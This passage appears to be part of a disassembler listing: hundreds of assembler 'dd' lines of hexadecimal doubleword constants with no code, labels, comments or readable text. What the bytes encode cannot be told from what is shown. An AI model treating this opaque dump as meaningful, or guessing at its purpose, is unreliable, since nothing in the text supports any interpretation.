		dd 41D9658Eh, 0F111204Eh, 5804924Bh, 0FCC22935h, 8480A01Bh
		dd 1DE910Ch, 0C86538F1h, 9E88739Bh, 0A02439E0h,	0C0FEE81Eh
		dd 14382028h, 601E0712h, 1DE404CCh, 0E1A81B50h,	50ECDFC1h
		dd 2623870h, 775972B1h,	0DCE106F9h, 73B428C7h, 1DC83269h
		dd 809E11ECh, 91426A97h, 5580EA56h, 3050B4BAh, 2EE22037h
		dd 12F4C914h, 63F88017h, 2FF27679h, 30380437h, 8A83B471h
		dd 10622422h, 9500D9BFh, 8D4A2Ah, 8F093EE0h, 2C9CD4DEh
		dd 1FAF8500h, 261AB19Eh, 61D53C10h, 3834E480h, 0D7CD45CBh
		dd 6F002EF8h, 0C29A1653h, 7147B78Ch, 61F608h, 5340AFFh
		dd 0F19D9B67h, 0C5A89A00h, 0A25284D9h, 0C4CC0336h, 0D8C7E327h
		dd 0DAE59F8h, 7900E7E2h, 16346B0Fh, 12E6D6Ah, 2967EC18h
		dd 3069F723h, 550EF0ADh, 4FB220C6h, 40367AAh, 201F540h
		dd 6A0D2CB0h, 95003D51h, 7B12DE75h, 8300863Dh, 270B3B24h
		dd 4E7DD4h, 0A58EB36Ah,	56ACCB87h, 0A8195200h, 3EC16D53h
		dd 42FA03D9h, 3DB31505h, 0F9D337DBh, 816CF4F8h,	8E1FCC1Dh
		dd 0CBEC9D83h, 5A858826h, 909028h, 83059407h, 772C907Ah
		dd 0EE17620Ah, 9F01AB0Dh, 0E371F6C3h, 70DD29D8h, 9DF20057h
		dd 6E021C03h, 9200A8E8h, 0C776DF26h, 0DDE27Bh, 5C063D9h
		dd 74CD2BCFh, 1A41B800h, 0C961AD4Fh, 9AF0FF8h, 4B80B401h
		dd 0C4A69C98h, 0B105E800h, 0EBCD115Ch, 4D4005Fh, 1FCB4DEDh
		dd 0BD0072F9h, 84B7D925h, 7DD023h, 1E4827FEh, 5C26C864h
		dd 45D6AC00h, 79EBA4E7h, 65E9012Ah, 0DD60EF2Eh,	0A5805087h
		dd 0CB001312h, 73DEDA93h, 31E0DB3h, 9E4CE64Ah, 11ABC635h
		dd 252E7D8h, 8136ECA0h,	0CA834801h, 1BF8E964h, 0ED9FED8h
		dd 0D781FA7h, 792A0FA1h, 0F99FE57Eh, 0F699CCB8h, 1B519CA0h
		dd 9739E000h, 0EAF13E90h, 0C77736h, 0A2A631ECh,	0BE67B388h
		dd 8C6F5Ch, 6B41FB5Ah, 39F603BDh, 2B813833h, 46876745h
		dd 0EF02E0ABh, 5C0B3Ah,	0E2C32EAh, 1DFA20D8h, 3BF1F9h
		dd 0AEC38413h, 2A60059Eh, 65D41BC0h, 9AF50004h,	85499DB2h
		dd 5003E869h, 382D7F89h, 37CAD0CCh, 0DD0900C8h,	0D32AD2B1h
		dd 71033C91h, 126A8CB8h, 0D0B9B86Dh, 46BB0F57h,	0F2E0680Dh
		dd 56AEA1F6h, 828F3Ch, 691299E6h, 0CBB57Eh, 958B6EE7h
		dd 5ACEFBF9h, 7DA24218h, 0ED5B8E0h, 0C5881215h,	0C0A31F04h
		dd 45442A8Ah, 75395300h, 0FB1BBE42h, 864E3D6Fh,	2A586887h
		dd 0F5C76095h, 0E614DB3Bh, 11D4E92Bh, 150F0F82h, 0CEC3281Ch
		dd 85D97221h, 0DFB03A46h, 0A80753E5h, 0D1514F07h, 1AC1E21Fh
		dd 0F09CB848h, 97038790h
		dd 0B10BE1A0h, 0AB5A80F8h, 1C804890h, 70C35807h, 78E4266Bh
		dd 52FD22h, 5E4181E0h, 0C558B9FAh, 842E8A00h, 0A245AB38h
		dd 0F6970060h, 30CC654Bh, 7C003251h, 0D1435E40h, 82BA9Bh
		dd 0FFEA60D6h, 2285655Ah, 7C7406E2h, 8E1ECD00h,	94E033A1h
		dd 236008Fh, 488D4D88h,	0D80022BDh, 0DF1E5FB2h,	44E153h
		dd 4EC19655h, 0A3595457h, 0FE993800h, 986F73ECh, 0BFA10387h
		dd 713A61BBh, 0C5D3C798h, 43BA4200h, 0AD6BC229h, 0BF1D1CF4h
		dd 0E473C05Ah, 349FE6BCh, 0CEB1AF63h, 7918C99Ah, 1F11E3D8h
		dd 3E607ABEh, 58838E87h, 0FDB110AAh, 0F5005B19h, 0DE211A7Ch
		dd 354D4Fh, 0CF755DD8h,	98A7E47h, 0AF260A00h, 0DC1F0116h
		dd 326700BDh, 0B90ED410h, 4B007CFCh, 77C95802h,	4CFA3ECEh
		dd 5900E107h, 1E7092FFh, 0A500F7CBh, 0B43D5A50h, 39D10D53h
		dd 0F0790E05h, 13B30A99h, 1D001EEh, 0C4BE772Ah,	0E169D846h
		dd 37497B03h, 945F5D10h, 91D0E9C7h, 89A553h, 0DC4FF0E9h
		dd 78506CE1h, 570F5E7Eh, 0A03E8498h, 0C8A519FCh, 9E820B45h
		dd 7007513Ch, 5F002F92h, 8AEDA04Fh, 792DE900h, 4E767FF4h
		dd 3C7075h, 102971ADh, 91521D8Eh, 0E404509Ah, 54284260h
		dd 44FB9080h, 0B24800C4h, 36598F8Eh, 0E4981C68h, 80549E3Ah
		dd 0C77A6EFDh, 2DCCF0A5h, 1DDEEF1Dh, 2913B504h,	212A11C0h
		dd 917A0048h, 0F4842673h, 5007451h, 9C0CF901h, 4C03639Eh
		dd 2500A82Bh, 11BF8AECh, 7C16DB5Ch, 0CC0C3B59h,	3CA2118h
		dd 1639F7FFh, 48E0DA8Fh, 7F1272DDh, 7C404262h, 0F0D82FB5h
		dd 0D230C32Ah, 7A8803D1h, 9C713601h, 0B40C6A03h, 99DDA1AEh
		dd 3020829Bh, 50C37F89h, 47AC5Dh, 53CD6C60h, 5248B0Ah
		dd 95818500h, 5A7DA7EFh, 0D519C099h, 0EE8AA1C5h, 0CEC14C1Dh
		dd 2F53140h, 1D91805Fh,	4FA62AEFh, 1D2362CAh, 0C7F83D7Ah
		dd 0C301473Ch, 0F76CE61Ch, 7BF0FC1Fh, 927008Ch,	6F5B5087h
		dd 0F10F8217h, 60FEE03Fh, 0BD63646Eh, 335C009Ch, 4E759A95h
		dd 850138C7h, 0BC290911h, 66F03B22h, 0C62C00A5h, 688FCDD7h
		dd 783C6184h, 5702FF49h, 0A66566B0h, 0DF946177h, 1AC91DCh
		dd 0CCAA5B3Ah, 0F419AB0Ch, 6200588Bh, 60FBD2CAh, 0EA6BC5h
		dd 0EB2C94AAh, 0BBB17C6Ah, 0C1ACDA18h, 0B6B211h, 2DFBBD0Bh
		dd 326EC95Bh, 0F197EF00h, 31D077CFh, 0F2AA3C7Ah, 0B2377F80h
		dd 0E73A195Eh, 0D5263C03h, 0B0BE6ED3h, 1AFF91h,	0C08C4305h
		dd 0AB4F6645h, 0CF535100h, 3DAC5027h, 8BF274h, 4C0EB568h
		dd 0F3C5473Fh, 86BC0700h, 0F6A521DEh, 33F900C6h, 9D9F5C9Ah
		dd 5512392Ch, 6C00EC3Ch, 0E513FB02h, 583D0081h,	84A88FEEh
		dd 5700ABE2h, 3F82CD51h, 0DDF05Ah, 0A0E78BA9h, 0D9F4563Ah
		dd 0E486AA1Eh, 0F25438C2h, 8E74E8DBh, 22450C3Bh, 6C61E30Dh
		dd 3C4E9130h, 6B10655h,	0C1D396DDh, 661221E2h, 54404EAEh
		dd 1D8306D5h, 1B36747Bh, 1870E511h, 498296C0h, 924869E4h
		dd 0CB01318h, 0AC6E1103h, 660AB8B6h, 9DC101A7h,	0C0D32B37h
		dd 69F560DAh, 0FF61D00h, 0E06B21E5h, 1F370101h,	45AEBF7Bh
		dd 0F6588379h, 0CE6FE0Dh, 66B6AA90h, 750CDE98h,	0A95F1AEEh
		dd 7BA107E6h, 600CAF3Ah, 0B10E3C5Eh, 75258116h,	10F6E045h
		dd 0EF8B2406h, 0F0873AF0h, 0C2892702h, 108216F6h, 1C802381h
		dd 0AB5E15F0h, 912AE03h, 0D03578CEh, 1680F77h, 5B5180E6h
		dd 0F0FE5A08h, 0E1055932h, 731890BFh, 80CFD109h, 3A47B1A2h
		dd 0BAAA001Eh, 7662676Bh, 5300C579h, 46A2124h, 0B0A93A0Dh
		dd 493B07E3h, 0D088CC31h, 5702ED9h, 62A4AD00h, 16563C32h
		dd 3AC8FCA9h, 1ABEF118h, 5A806A00h, 0A774C510h,	97D78F00h
		dd 18E032AFh, 7C521F33h, 9F2A80E1h, 5F381914h, 259CF503h
		dd 90410C3Dh, 0DA898Dh,	0E14AF85Eh, 0BEAF2A2Fh,	59807454h
		dd 0B3BF0900h, 0E35E060Eh, 88D66F6h, 34002181h,	8AD8BF21h
		dd 1E949F87h, 81395BB9h, 928D1517h, 830CC889h, 3D301E61h
		dd 44D63A79h, 41870070h, 35DE7A11h, 6568FEEEh, 0A7001009h
		dd 0AC251149h, 0E2340008h, 0F57B9250h, 58CB5BD1h, 5E9F8128h
		dd 918E731Fh, 0B1835879h, 11005191h, 1B24A4CAh,	0E878E7Bh
		dd 833ED375h, 9421E58Ch, 5C2C7C00h, 0AE4A438Bh,	0CB19C057h
		dd 0D69E30CFh, 0E212030Ah, 780090EDh, 3186C567h, 0EBA80454h
		dd 90FFB249h, 0B4AF621Ch, 0A7892201h, 0A8814E55h, 40650896h
		dd 0B4B742A0h, 6C009154h, 624A9EF6h, 5F4590Ah, 58819B0Eh
		dd 3C00124h, 801A1672h,	27EA0C70h, 75EED3h, 9A4C3F15h
		dd 838CD84Fh, 26A1EB00h, 7E37CDF1h, 7F357A2Eh, 0B28F001Bh
		dd 2233B60Ch, 0B0007A21h, 0AFA5862Fh, 0DF255Fh,	0F0D4F1BAh
		dd 67600773h, 6B7D5900h, 9252E5CEh, 0DEB9001Bh,	47D0A756h
		dd 0C8075153h, 612E3B9Eh, 4F3E0E70h, 24640184h,	154787CAh
		dd 0AB2DC0B2h, 0BDD0C41Dh, 3B9F803Eh, 0B9E8ADE5h, 0DAD20028h
		dd 5716FFD1h, 9900E06Ch, 0DE0C371Ah, 0EAB2C51h,	1F761E6Dh
		dd 31AC3898h, 614041DCh, 629642F8h, 88E60636h, 91E1B820h
		dd 57F4300h, 3704B1DDh,	0F7800B0h, 6AE2F325h, 0AF01CCACh
		dd 64356715h, 0C6E0B8C2h, 0CB1D489Bh, 0CEABB879h, 0E7004C18h
		dd 0E4B62861h, 47D959C0h, 70F94659h, 48B03DCFh,	620CBD20h
		dd 28E54C86h, 3E993F03h, 400407F3h, 0D04987FCh,	3462A1FFh
		dd 20CEA42Ch, 7D389E18h, 0ADB601E8h, 8CCDF935h,	12088770h
		dd 80039747h, 604BA0C9h, 3B9000A1h, 0EB82C3B2h,	2600F57Ch
		dd 32DB5FD3h, 79EA89C1h, 0B373DDh, 9AD78216h, 79CEA0F2h
		dd 96AAFA10h, 69212C30h, 0C83E9A6Fh, 0F667808Eh, 75EF012h
		dd 22DC407Eh, 0F4E34D19h, 0D318B658h, 0A0F69A08h, 16F1CE2Eh
		dd 0E80F4B3Dh, 0C81A232h, 12289895h, 10AC6121h,	0A60608B3h
		dd 5A002B08h, 3E68E036h, 54A100B4h, 43235009h, 0AB066E6Ch
		dd 9FC4CB86h, 21A43839h, 0D2BC6407h, 8F344048h,	7AE49BCFh
		dd 6E01C970h, 0ED7D2583h, 0DFE95945h, 0C0A30882h, 80853F3h
		dd 6E5D440h, 4C14A57Bh,	873E3A08h, 0DA521917h, 0E6F07D91h
		dd 743798D6h, 3A10335Fh, 2100A208h, 47E6EB1Ah, 38CC0C87h
		dd 2C02C833h, 17789E06h, 5B159CA1h, 1831BEDBh, 52192B7Eh
		dd 8302FCA3h, 0D8950BC0h, 0DF63C183h, 2898B8B2h, 60EBD484h
		dd 79F79AD0h, 86208CA0h, 483C008Ah, 0C73DB19Ah,	1000237Dh
		dd 0D8E7EA9Fh, 0C3B312A2h, 89A90B81h, 0AD527119h, 4B30FBA1h
		dd 80980056h, 47F3F86Ah, 41068A31h, 75914EDCh, 0EDDD0029h
		dd 93A2C1A8h, 9CA1D852h, 8F1186Fh, 0E228D0E6h, 1C40A1C4h
		dd 31DAE6E9h, 0DC3E7100h, 28C3F512h, 80F4885h, 0D6009322h
		dd 48A366EDh, 0C93617h,	2BCBAB7Ch, 3EC8058Bh, 2169440Ah
		dd 9224B09Bh, 38F0281Ch, 60A306BDh, 0A9F4E1D9h,	8718E07Ch
		dd 6DC10508h, 0EF440F7Eh, 9F20F507h, 28FB85D6h,	9C7D6200h
		dd 79C8CDAEh, 27830CBDh, 0B91DC52h, 128D1902h, 80E55FF8h
		dd 24C8E9CBh, 0A81A48A1h, 0EE8C29E8h, 5A410548h, 0C54C0Fh
		dd 8E1A507Ch, 0E80071CDh, 17D4F04Fh, 26A17866h,	293F87h
		dd 754C2B5Ch, 50DE21FBh, 0E2FF6E80h, 1EB5C77Ch,	0BA3C91D9h
		dd 0F8AD2Ah, 8EFF563Fh,	5DCB265Bh, 0B7705100h, 1E12F0FAh
		dd 8179CE90h, 0A8AE0013h, 0DD44FD3Eh, 0BF43E815h, 0E31300A4h
		dd 924C5BAh, 6FFF731Ah,	21980819h, 74B8EB99h, 0D34EE509h
		dd 9C6387D6h, 9258F3h
		dd 0A85FBD61h, 9D9465FBh, 0D23DF700h, 0B92426C8h, 0DB723285h
		dd 50307AD8h, 7CB81DFFh, 0A991A157h, 0FF585100h, 76FAD1CAh
		dd 4075350Ch, 2CB91DBh,	9D4F1F68h, 0D06096DEh, 2B2963C9h
		dd 0C4013046h, 0B77CE4FEh, 0B588A818h, 9FF7F6Ch, 0FA2CD4Ch
		dd 0E80302Fh, 19D0917Eh, 9CA6358h, 4825379h, 0F7606D84h
		dd 2810D2E6h, 0A5C85C92h, 28EE39BFh, 3B2A8727h,	0EF019086h
		dd 0F4FBF7F8h, 2432DCF0h, 2AC29200h, 0FD811A2Ch, 2FF24E02h
		dd 466EF50Eh, 76E3981Ch, 0AA624ABh, 0CDD20090h,	83178DF7h
		dd 9EC97C14h, 185128ECh, 6F194109h, 44720065h, 47659D7h
		dd 8E722557h, 828C4BAh,	0C2C048C8h, 467CEEFEh, 2A522A7h
		dd 0CCFF6A43h, 3064F3D4h, 4149457Ch, 0BAB88024h, 43D12550h
		dd 4A887E19h, 85BA00E0h, 686BA015h, 589FFE9Ah, 69D0A1Bh
		dd 0AB2C2DA6h, 0ECDA5850h, 14546900h, 12522392h, 15AB425Bh
		dd 0FB815DCh, 1A7FCh, 3EA4119Bh, 3722004Ch, 81782520h
		dd 59007EF2h, 0D839FCC8h, 5AB08BDh, 40F1A82Ah, 4450489Bh
		dd 51BAB7C0h, 7CE95225h, 9D5C8A22h, 3E601FD1h, 0A8D59941h
		dd 2C33B911h, 51302DA2h, 8E380062h, 854AA5E8h, 4314CB35h
		dd 804846DDh, 2553BAE5h, 98A719h, 14BAED73h, 0D1033E27h
		dd 6D05F01Bh, 0BB9809CBh, 78378DC8h, 585FC9Dh, 288C4533h
		dd 0E0E8C87Bh, 0EC9AD5C0h, 225E46A0h, 4D6B0012h, 9733269Ah
		dd 0B5F02443h, 1B7CAD1Ah, 0EEF2C021h, 0B2FA30DCh, 176F3210h
		dd 64518105h, 382EF4D5h, 0C78A8610h, 66F0FD62h,	28DB008h
		dd 0A36A0367h, 0ACC4AB0Fh, 4484A171h, 4D004C95h, 4856766h
		dd 0A045341Ah, 24A8F67Ch, 4369554h, 0C3DC129Ch,	9DE03688h
		dd 0A3FE9B5Dh, 0C27C96E2h, 0BE142000h, 9DB62CCh, 107700CBh
		dd 9ED1E8E4h, 7CA02980h, 0A213F07Ch, 2008ADD8h,	0D5C88014h
		dd 3E80C3AEh, 8A0FE91Ch, 374B7CC1h, 0CD10AAC5h,	9F1C26E2h
		dd 0E9C0FDF4h, 0C62915D7h, 0A1E01EC3h, 0CAFC0742h, 26F0C986h
		dd 97B7E9C4h, 0E0238CC9h, 6F30AEA2h, 0EBB400A1h, 0AA30A2FAh
		dd 0F0C86E12h, 9405404Ch, 982E8309h, 6C913853h,	0CFE6F880h
		dd 458C8A28h, 0E65E4076h, 891706E3h, 7820C5B7h,	51F23Ch
		dd 5FA1A09Fh, 7B6B2647h, 0E2295D01h, 6FB1C218h,	8CEC1420h
		dd 0F09AD104h, 0C0A23EA0h, 9A493FC3h, 0C610C9D8h, 1919DC30h
		dd 0C78E6h, 0ECCB4FCh, 5E5742A9h, 3AE9F00h, 584C105Fh
		dd 9CF95408h, 59440207h, 0E526CF1Ah, 7844B447h,	179D6B60h
		dd 0A55C5312h, 6FD52820h, 0D39E027Ah, 0AF0D2E3h, 7323C40h
		dd 494A249h, 1C11A022h,	4CC85088h, 0FABD6443h, 20C30h
		dd 3F1C82BBh, 0A325643Eh, 78461E4Ah, 0E271FAD9h, 24330236h
		dd 30FD5D1Bh, 61EDB884h, 0A0E49A62h, 2B458C96h,	19A7AFCh
		dd 0F0E7456Ch, 8A889706h, 88A05289h, 2F6C4D8Eh,	0E918C051h
		dd 0E24735A3h, 50E11CC8h, 0F0F1C9A4h, 2083B4B7h, 0F8E0F3C8h
		dd 0DCE7A37h, 9E51CB63h, 750C0879h, 9549AC07h, 0E7C7E30Dh
		dd 91C5B3h, 8AA0E129h, 5E5FE58Ch, 779230EBh, 14F0D000h
		dd 0D995B666h, 2398A8FDh, 17C970CFh, 8B8B17Ah, 51C04D68h
		dd 467CB7FFh, 5488796Fh, 6DFF0759h, 0C4314157h,	887C1F6h
		dd 72CC5003h, 0B95029B2h, 0BB0978D9h, 44D960ACh, 1823019Ch
		dd 0C556BCBEh, 70D5CCFEh, 0A8862B00h, 5F424FB6h, 0A65C3012h
		dd 287D9ED9h, 914A98A8h, 51B09A6Eh, 0E5FF5380h,	0F0B93F7Ch
		dd 0FF5B56C0h, 0F080475h, 0C11A26B8h, 24E64C10h, 48CE54Ch
		dd 24C4BAE4h, 208762F1h, 0ABAEC96h, 9BCFBB38h, 39198D40h
		dd 24003E70h, 69F928B0h, 3A008F4Fh, 0DA7D965Eh,	99949E73h
		dd 274E03B0h, 4097449Dh, 2412F365h, 75966C96h, 32420420h
		dd 56CB00CCh, 7CDF883Bh, 21E67B08h, 91E7531Eh, 5D41F540h
		dd 2D551CCh, 0CD7E5FEBh, 0F491DCE5h, 0A098E376h, 10025D1Ah
		dd 0C2E2DBDh, 6BE4408Bh, 0F4A807E0h, 2BE52FE9h,	275F1C0Eh
		dd 0C5103420h, 99009F42h, 0EC79F044h, 7880CEh, 50A8C012h
		dd 4CEDFD08h, 0EF38BD54h, 371D760Eh, 0AA08261Ah, 99AD00C9h
		dd 0A9F779F9h, 0C50F9139h, 1E8C37h, 0ED756EBAh,	721B05D7h
		dd 40A540F5h, 0C7EBE0A8h, 58003008h, 4A5A9D37h,	25C5ABB6h
		dd 682EDD1Dh, 0DEB752C0h, 190079FCh, 8717B77h, 443F12BFh
		dd 3702498Fh, 174EA327h, 7CA60ABh, 54DB4CA9h, 58415C8h
		dd 6CC081F8h, 590024Ah,	8C2B9348h, 0DD9490E8h, 0BB009CD7h
		dd 21B24794h, 0C0A6EF5h, 0E3A1D28Ch, 0FB141E18h, 8188DD31h
		dd 19FA9A2Ch, 600806F4h, 0D0976904h, 0DA0B6331h, 2DBE4Bh
		dd 0D6107894h, 75863CD5h, 5E006C49h, 6442A2B5h,	0A50032B9h
		dd 55F01235h, 18510CF3h, 69FCDCEAh, 7104FB61h, 0DFD77F1Ah
		dd 0B8B40480h, 60D60094h, 23C22F9h, 0AE00B6C3h,	9DE427A7h
		dd 0E92EF1F5h, 92F066DCh, 8EE6144h, 3D40098Ah, 12930024h
		dd 25026AC7h, 7C63E526h, 5AB2BC00h, 194743F8h, 0F1963301h
		dd 1A68AD7h, 67F0A9D1h,	0E4B10583h, 17CE682h, 8445E990h
		dd 16E183DAh, 0B5EAFA5Dh, 892EAD83h, 0DC60637Fh, 5BA32C33h
		dd 0DECC4264h, 4198F060h, 0B700B891h, 0C8FC92EFh, 4B180089h
		dd 850D5150h, 803D3D70h, 171C5825h, 4C20C4D2h, 1EDFC0FCh
		dd 47F155A7h, 0E2BB8Bh,	37D2076Eh, 82490A90h, 0B4A17A14h
		dd 0D8686067h, 13370A88h, 13F308B4h, 0BB3C20F0h, 2E01D502h
		dd 0CB5C6D0Bh, 0C02CCFE4h, 0C3FC16h, 40D061D2h,	9E007D79h
		dd 1277D3DBh, 2CA330BFh, 45640859h, 0EC884020h,	14961035h
		dd 4C03C1F4h, 0E8070A9Fh, 0DD5F9112h, 40004C29h, 8E3F0F3Dh
		dd 50004FC4h, 0EDA6EF77h, 7E2D97D6h, 27610605h,	0C1BA4068h
		dd 0BCAA580Eh, 0A2A7003Ch, 0F0CCE93Ah, 0C3B80091h, 4AF780CDh
		dd 8C1816D7h, 0E0990108h, 0F08F0403h, 0C0EB4715h, 0E99C5499h
		dd 0E8139105h, 4800DED7h, 282366C3h, 879200D4h,	9FCB2C81h
		dd 6E009D5Fh, 5D9C14F8h, 1332CC06h, 26919ED5h, 631318E8h
		dd 2C0094F5h, 86F39DC8h, 0E7A8007Eh, 40BA432Ah,	0AB010F81h
		dd 6E466816h, 7C295CA3h, 5914D902h, 444055AFh, 7002EC5h
		dd 1A6BB4E5h, 7F8A21F4h, 8B370063h, 964DCFC8h, 0C90065C6h
		dd 0AD26D6F3h, 592D55h,	0DFC4F9BEh, 7FC1C71h, 4EB7BD0Ch
		dd 22D5832h, 0D0CAF080h, 0E07D38A5h, 1D78D76h, 1C7DCFEBh
		dd 0D44B06B3h, 6631CB1Dh, 3EDA5056h, 18AF0880h,	50147AD5h
		dd 43A0D106h, 1B1099Fh,	24612BC3h, 0DC56B1A7h, 7400CB97h
		dd 4138191Ch, 19CD6B0h,	0B8C1918Dh, 97269F8Ah, 1507DE39h
		dd 66307BC5h, 3C910D0h,	0D36212E4h, 2699DABDh, 6B898071h
		dd 54D4F051h, 0A964008Ah, 276B2E4h, 5003C43h, 891CF49Fh
		dd 0C03DD930h, 3F4026B1h, 1E006915h, 0DE95582Ah, 2A7EE47Fh
		dd 88454Bh, 22405A51h, 2086A3A8h, 0E11CEC05h, 87C68017h
		dd 0C9C23C49h, 0E7745F05h, 38D6020Fh, 0A460C153h, 0B62CA27Bh
		dd 5C1F82A8h, 5BF61140h, 7CC29D2Bh, 0D8AF31B5h,	8079B88Ah
		dd 8EAD32C9h, 0B9D797h,	64F204A6h, 9EA33FB6h, 308C2B55h
		dd 3BF6C2FDh, 0F48C0605h, 0C5C75BD6h, 7DE49140h, 0A9C506A8h
		dd 0C9504EB2h, 95456100h, 0B5BF0C85h, 73F40090h, 3B8DAE1Dh
		dd 0E0017020h, 8ED0EC31h, 0D99C3F47h, 45540750h, 994E8189h
		dd 80B0BDB0h, 6F42FB66h, 3BE353A6h, 4980C0EDh, 0B5B33568h
		dd 6901F5B9h, 1D50E4DCh
		dd 0D98378E0h, 0B0EBD68Fh, 0C4D3A001h, 5E854621h, 14801112h
		dd 0BA95EFB3h, 0C6084A00h, 0B2F9A3E7h, 0D7C0189Fh, 75389C52h
		dd 80402748h, 5FF00360h, 12193FBFh, 0D1E1588Eh,	0E3C18DA0h
		dd 993DE291h, 62AA05F3h, 34002788h, 9C21C697h, 4BF01889h
		dd 1F06895Fh, 0A7B49200h, 0B5478B63h, 1A9C0E76h, 0D100A9F9h
		dd 33BF7072h, 0C08DC4ABh, 0D0E68F89h, 44C1C21Eh, 0D8B812F9h
		dd 0AB498503h, 41590A2Fh, 80AC3BD9h, 5C25E494h,	0D0A44B11h
		dd 9FEE5600h, 447EA51Eh, 92360035h, 5BD4B904h, 0B0A05E62h
		dd 5A00897Ah, 37128ABCh, 247F3D69h, 126C9E4Ah, 56D40105h
		dd 0E04BDBA5h, 844811B9h, 0BC3F1EEBh, 9FB87283h, 0A7B91C23h
		dd 531B0071h, 7640DE7Bh, 1F643313h, 0F327FA00h,	961545h
		dd 0E447A80Dh, 8DF18979h, 6F189418h, 0C260858Ch, 27E493B9h
		dd 0E2250C40h, 321A4E00h, 704680CFh, 0C0EE5091h, 0B1030086h
		dd 0E50A2015h, 18244592h, 0BF02F8F2h, 0A047DAA6h, 5B5ABC8Ch
		dd 61FA0052h, 5626CAEBh, 0F00F6A68h, 65ED00Ch, 779584Bh
		dd 300F2009h, 34D9E0E0h, 56E6E293h, 292F5109h, 7C8402D1h
		dd 0EE18874Eh, 0BD39CBB0h, 0C01909C9h, 4207E26h, 0DF68EDCEh
		dd 47A7E700h, 1EC3A86Dh, 210D00B6h, 0F754862Dh,	0B401DD57h
		dd 59E6038Fh, 0FC4076D5h, 1AEEEC1h, 494C5638h, 925BB791h
		dd 0E7028E18h, 0A131D870h, 0C23663B8h, 7F41F883h, 192834BDh
		dd 0F613DF01h, 0F806FD57h, 0B12EABh, 1DB74C02h,	21A03C1Ah
		dd 471131C0h, 8EB222h, 64F6EB74h, 7F7C7A4Dh, 29328701h
		dd 0B2ABAD62h, 99380030h, 0C7CE83C0h, 0AAC3C975h, 8DBA14C8h
		dd 0A2462F0Ch, 24D9712Dh, 11AC496Ch, 79D70070h,	3D812CCBh
		dd 7FD8003Bh, 1AF0F486h, 46604B1Eh, 5C848039h, 0EC52010Bh
		dd 0CF1D22C4h, 0B286306h, 87285112h, 2226E707h,	0A9FE0291h
		dd 2D84A2C0h, 0C0F4B585h, 35790F1Fh, 2E9E8A18h,	628629h
		dd 0A4953642h, 44B64DFCh, 0B300D57Dh, 6B2EDE26h, 18E53C1h
		dd 0A80219C5h, 8961B21Dh, 982EE4C1h, 6A57E4h, 0FC1D5E5Ch
		dd 5A97F2FAh, 0B7892000h, 5B0185E4h, 0F3C51958h, 0D8613891h
		dd 4B30ADAAh, 37744147h, 5D6E00F9h, 0F3B41957h,	6B3AA12Fh
		dd 17381F90h, 45808DDDh, 3B997063h, 1CE89927h, 0B4E880C2h
		dd 0B8BC0ACBh, 0B31D3D1Ch, 2057FFC1h, 0CC65ABD8h, 88C78840h
		dd 789F79E2h, 601E54AAh, 1C3D00FEh, 1ACB3EF2h, 0F87223A7h
		dd 88140177h, 81B8B145h, 0AB5208E0h, 13B072DCh,	25E24978h
		dd 0F05F873Ch, 3FCF3A7Bh, 54332F14h, 0D81DD6F8h, 0AAA39BC0h
		dd 1E118B38h, 6C7A83C2h, 51AE00B4h, 4877D6E8h, 1CAC4624h
		dd 0B31A2160h, 0FDFA03EEh, 0D7888D09h, 3CBFC0B0h, 0F83A223Ch
		dd 8E85DB00h, 0E7496152h, 9A91C542h, 24F45F05h,	601B00F1h
		dd 3BB04531h, 0B15EFE00h, 85C60DB3h, 0B4FB0CA3h, 7331089Eh
		dd 56C5201Fh, 84B5A0C9h, 5203EF80h, 58A03C6Ch, 4848AA08h
		dd 10C6CCA8h, 0C70084ACh, 493EC244h, 0C935F8F9h, 3C109D58h
		dd 1800A3CCh, 403A9130h, 0C0494BE1h, 725B9D39h,	6B000954h
		dd 349936D6h, 588DAC5h,	275C2947h, 13A8417Fh, 0C1546703h
		dd 0E5AFF4D2h, 6EBD5800h, 0F098FE9Ch, 0F194A0ECh, 78F70083h
		dd 0A74936E0h, 0A23C35AFh, 1337120Ch, 0A030E402h, 0ECF4211Dh
		dd 97B2C839h, 1CCA4B00h, 0C02D0588h, 0D6780919h, 4081D352h
		dd 0F3E35C0Bh, 683C4001h, 81E29229h, 14F939F8h,	98A13B4Bh
		dd 8848F105h, 0F0448DB0h, 0A600099Ah, 0BB87F5F4h, 20EECA7h
		dd 798468B4h, 0ED62E03Fh, 0C342F840h, 3F0CB4Ch,	14475E80h
		dd 0BDF2C8B0h, 0CF660394h, 644B5772h, 62F65913h, 658D2400h
		dd 0F5FE614h, 268FD411h, 0EE0BEEA7h, 272571C1h,	6DA0507Ah
		dd 0FEFC106Eh, 62E8AB00h, 0B8B379F9h, 0C24E099Eh, 2410473Fh
		dd 0F33F81E1h, 0DD8A8110h, 0B0E35AD8h, 0B0340074h, 0EFE11244h
		dd 0FE2C8833h, 7B66B500h, 0C7A1A874h, 9E440082h, 0B9F64B40h
		dd 786CD3Eh, 8ED250D1h,	0C5404F34h, 0EFA8440Fh,	0AA0CFA0Eh
		dd 191B474Ah, 5EB37B50h, 81E42492h, 0C3011DB4h,	43DA4564h
		dd 9D2EA900h, 9F5E410h,	738C003Ah, 0C727E6DDh, 0DA302189h
		dd 0E05D2940h, 2E53CACh, 26945C01h, 22E44979h, 0ED9300E4h
		dd 4BA383BBh, 98B0A85Dh, 5F7F0333h, 87C74908h, 920268B8h
		dd 5EE3A800h, 76270A8Dh, 31CA6B1Dh, 0F045C800h,	8C00693Ch
		dd 0B8846F9Ah, 351ABEDh, 0DAA31B86h, 700036E9h,	2D7F11A1h
		dd 0C6DC54h, 5C606F6Ah,	4CD407D3h, 900E0A00h, 66528AECh
		dd 9C635427h, 4512009Bh, 35DF81B3h, 7E0A653Eh, 64DA3ABAh
		dd 21E48801h, 2820B769h, 0C1AA3B3Dh, 4580D05Ch,	706F3837h
		dd 5C133409h, 82F4098Fh, 222BD8A0h, 0F866AD20h,	2788748h
		dd 0E1B59057h, 1E0940E9h, 3DA20089h, 0F72A14A9h, 1D6218DBh
		dd 2008C549h, 229711B6h, 473082E2h, 0DF16A148h,	33A7A13h
		dd 0C742201Dh, 36B07394h, 4F2CBE04h, 3105D0A7h,	88884EB1h
		dd 0B7900BCh, 9C840F8Ch, 47074CD1h, 0BF583DD8h,	983A2EC2h
		dd 70BCACh, 20FCFBBDh, 0D5E56476h, 99251600h, 0AB17CDA7h
		dd 709A0BE4h, 0B8AF82C0h, 3580F8D4h, 0F6D8131Eh, 73B5EA00h
		dd 155223E0h, 0F0CE1E3Fh, 7AF4C74Ah, 0C681584Bh, 582ABC9Dh
		dd 20D24F0h, 0E5820273h, 0B460ED70h, 23024CB6h,	9F8F3419h
